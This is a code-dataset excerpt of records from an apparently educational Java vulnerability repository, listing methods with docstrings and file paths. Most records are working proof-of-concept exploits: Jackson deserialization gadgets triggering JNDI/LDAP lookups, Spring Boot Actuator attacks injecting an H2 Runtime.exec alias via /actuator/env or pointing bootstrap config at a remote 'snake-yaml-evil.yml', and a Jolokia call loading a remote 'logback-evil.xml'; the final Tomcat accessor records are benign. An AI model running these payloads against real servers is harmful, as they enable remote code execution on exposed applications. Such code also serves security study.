String json = "[\"org.springframework.aop.config.MethodLocatingFactoryBean\", {\"targetBeanName\": \"ldap://localhost:43658/Calc\", \"methodName\":\"Foo\",\"beanFactory\":[\"org.springframework.jndi.support.SimpleJndiBeanFactory\", {\"shareableResources\":[\"ldap://localhost:43658/Calc\"]}]}]";
Object o = mapper.readValue(json, Object.class);
}
|
spring gadget
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.3.26.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.3.26.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.3.26.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>4.3.26.RELEASE</version>
</dependency>
@author threedr3am
|
main
|
java
|
threedr3am/learnjavabug
|
jackson/src/main/java/com/threedr3am/bug/jackson/rce/SpringAopPoc.java
|
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/rce/SpringAopPoc.java
|
MIT
|
public static void main(String[] args) throws IOException {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
String json = "[\"org.springframework.beans.factory.config.BeanReferenceFactoryBean\", {\"targetBeanName\": \"ldap://localhost:43658/Calc\",\"beanFactory\":[\"org.springframework.jndi.support.SimpleJndiBeanFactory\", {\"shareableResources\":[\"ldap://localhost:43658/Calc\"]}]}]";
Object o = mapper.readValue(json, Object.class);
}
|
spring gadget
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.3.26.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>3.0.7.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId>
<version>4.3.26.RELEASE</version>
</dependency>
@author threedr3am
|
main
|
java
|
threedr3am/learnjavabug
|
jackson/src/main/java/com/threedr3am/bug/jackson/rce/SpringAopPoc2.java
|
https://github.com/threedr3am/learnjavabug/blob/master/jackson/src/main/java/com/threedr3am/bug/jackson/rce/SpringAopPoc2.java
|
MIT
|
public static void main(String[] args) throws UnsupportedEncodingException {
String payload = "{\"name\":\"spring.datasource.hikari.connection-test-query\",\"value\":\"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('/System/Applications/Calculator.app/Contents/MacOS/Calculator');\"}";
String target = "http://localhost:8080";
HttpPost httpPost = new HttpPost(target + "/actuator/env");
HttpEntity httpEntity = new StringEntity(payload, "application/json", "utf-8");
httpPost.setEntity(httpEntity);
try {
HttpClientBuilder httpClientBuilder = HttpClients
.custom()
.disableRedirectHandling()
.disableCookieManagement()
;
CloseableHttpClient httpClient = null;
CloseableHttpResponse response = null;
try {
httpClient = httpClientBuilder.build();
response = httpClient.execute(httpPost);
} finally {
response.close();
httpClient.close();
}
} catch (Exception e) {
e.printStackTrace();
}
httpPost = new HttpPost(target + "/actuator/restart");
try {
HttpClientBuilder httpClientBuilder = HttpClients
.custom()
.disableRedirectHandling()
.disableCookieManagement()
;
CloseableHttpClient httpClient = null;
CloseableHttpResponse response = null;
try {
httpClient = httpClientBuilder.build();
response = httpClient.execute(httpPost);
} finally {
response.close();
httpClient.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
|
todo need:
management:
security:
enabled: false
endpoint:
restart:
enabled: true
endpoints:
web:
exposure:
include: env,restart
@author threedr3am
|
main
|
java
|
threedr3am/learnjavabug
|
spring/spring-boot-actuator-bug/actuator-2.0/src/main/java/com/threedr3am/bug/spring/actuator/AttackHikariCP.java
|
https://github.com/threedr3am/learnjavabug/blob/master/spring/spring-boot-actuator-bug/actuator-2.0/src/main/java/com/threedr3am/bug/spring/actuator/AttackHikariCP.java
|
MIT
|
public static void main(String[] args) throws UnsupportedEncodingException {
String payload = "{\"name\":\"spring.cloud.bootstrap.location\", \"value\":\"http://127.0.0.1:80/snake-yaml-evil.yml\"}";
String target = "http://localhost:8080";
HttpPost httpPost = new HttpPost(target + "/actuator/env");
HttpEntity httpEntity = new StringEntity(payload, "application/json", "utf-8");
httpPost.setEntity(httpEntity);
try {
HttpClientBuilder httpClientBuilder = HttpClients
.custom()
// .setProxy(new HttpHost("127.0.0.1", 8080))
.disableRedirectHandling()
.disableCookieManagement()
;
CloseableHttpClient httpClient = null;
CloseableHttpResponse response = null;
try {
httpClient = httpClientBuilder.build();
response = httpClient.execute(httpPost);
} finally {
response.close();
httpClient.close();
}
} catch (Exception e) {
e.printStackTrace();
}
httpPost = new HttpPost(target + "/refresh");
try {
HttpClientBuilder httpClientBuilder = HttpClients
.custom()
// .setProxy(new HttpHost("127.0.0.1", 8080))
.disableRedirectHandling()
.disableCookieManagement()
;
CloseableHttpClient httpClient = null;
CloseableHttpResponse response = null;
try {
httpClient = httpClientBuilder.build();
response = httpClient.execute(httpPost);
} finally {
response.close();
httpClient.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
|
copy snake-yaml-evil.yml to http server root (todo spring cloud Finchley version attack fail)
@author threedr3am
|
main
|
java
|
threedr3am/learnjavabug
|
spring/spring-boot-actuator-bug/actuator-2.0/src/main/java/com/threedr3am/bug/spring/actuator/AttackSnakeYaml.java
|
https://github.com/threedr3am/learnjavabug/blob/master/spring/spring-boot-actuator-bug/actuator-2.0/src/main/java/com/threedr3am/bug/spring/actuator/AttackSnakeYaml.java
|
MIT
|
public static void main(String[] args) {
String target = "http://localhost:8080";
String evilXML = "http:!/!/127.0.0.1:80!/logback-evil.xml";
HttpGet httpGet = new HttpGet(target + "/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/" + evilXML);
try {
HttpClientBuilder httpClientBuilder = HttpClients
.custom()
.disableRedirectHandling()
.disableCookieManagement()
;
CloseableHttpClient httpClient = null;
CloseableHttpResponse response = null;
try {
httpClient = httpClientBuilder.build();
response = httpClient.execute(httpGet);
} finally {
response.close();
httpClient.close();
}
} catch (Exception e) {
e.printStackTrace();
}
}
|
copy logback-evil.xml to http server root (todo spring cloud Finchley version no jolokia endpoint)
@author threedr3am
|
main
|
java
|
threedr3am/learnjavabug
|
spring/spring-boot-actuator-bug/actuator-2.0/src/main/java/com/threedr3am/bug/spring/actuator/JolokiaAttackForLogback.java
|
https://github.com/threedr3am/learnjavabug/blob/master/spring/spring-boot-actuator-bug/actuator-2.0/src/main/java/com/threedr3am/bug/spring/actuator/JolokiaAttackForLogback.java
|
MIT
|
@Override
public XByteBuffer getMessage() {
return message;
}
|
@return Returns the message byte buffer
|
getMessage
|
java
|
threedr3am/learnjavabug
|
tomcat/sync-session-bug/src/main/java/com/threedr3am/bug/tomcat/sync/session/support/ChannelData.java
|
https://github.com/threedr3am/learnjavabug/blob/master/tomcat/sync-session-bug/src/main/java/com/threedr3am/bug/tomcat/sync/session/support/ChannelData.java
|
MIT
|
@Override
public void setMessage(XByteBuffer message) {
this.message = message;
}
|
@param message The message to send.
|
setMessage
|
java
|
threedr3am/learnjavabug
|
tomcat/sync-session-bug/src/main/java/com/threedr3am/bug/tomcat/sync/session/support/ChannelData.java
|
https://github.com/threedr3am/learnjavabug/blob/master/tomcat/sync-session-bug/src/main/java/com/threedr3am/bug/tomcat/sync/session/support/ChannelData.java
|
MIT
|
@Override
public void setTimestamp(long timestamp) {
this.timestamp = timestamp;
}
|
@param timestamp The timestamp to send
|
setTimestamp
|
java
|
threedr3am/learnjavabug
|
tomcat/sync-session-bug/src/main/java/com/threedr3am/bug/tomcat/sync/session/support/ChannelData.java
|
https://github.com/threedr3am/learnjavabug/blob/master/tomcat/sync-session-bug/src/main/java/com/threedr3am/bug/tomcat/sync/session/support/ChannelData.java
|
MIT
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.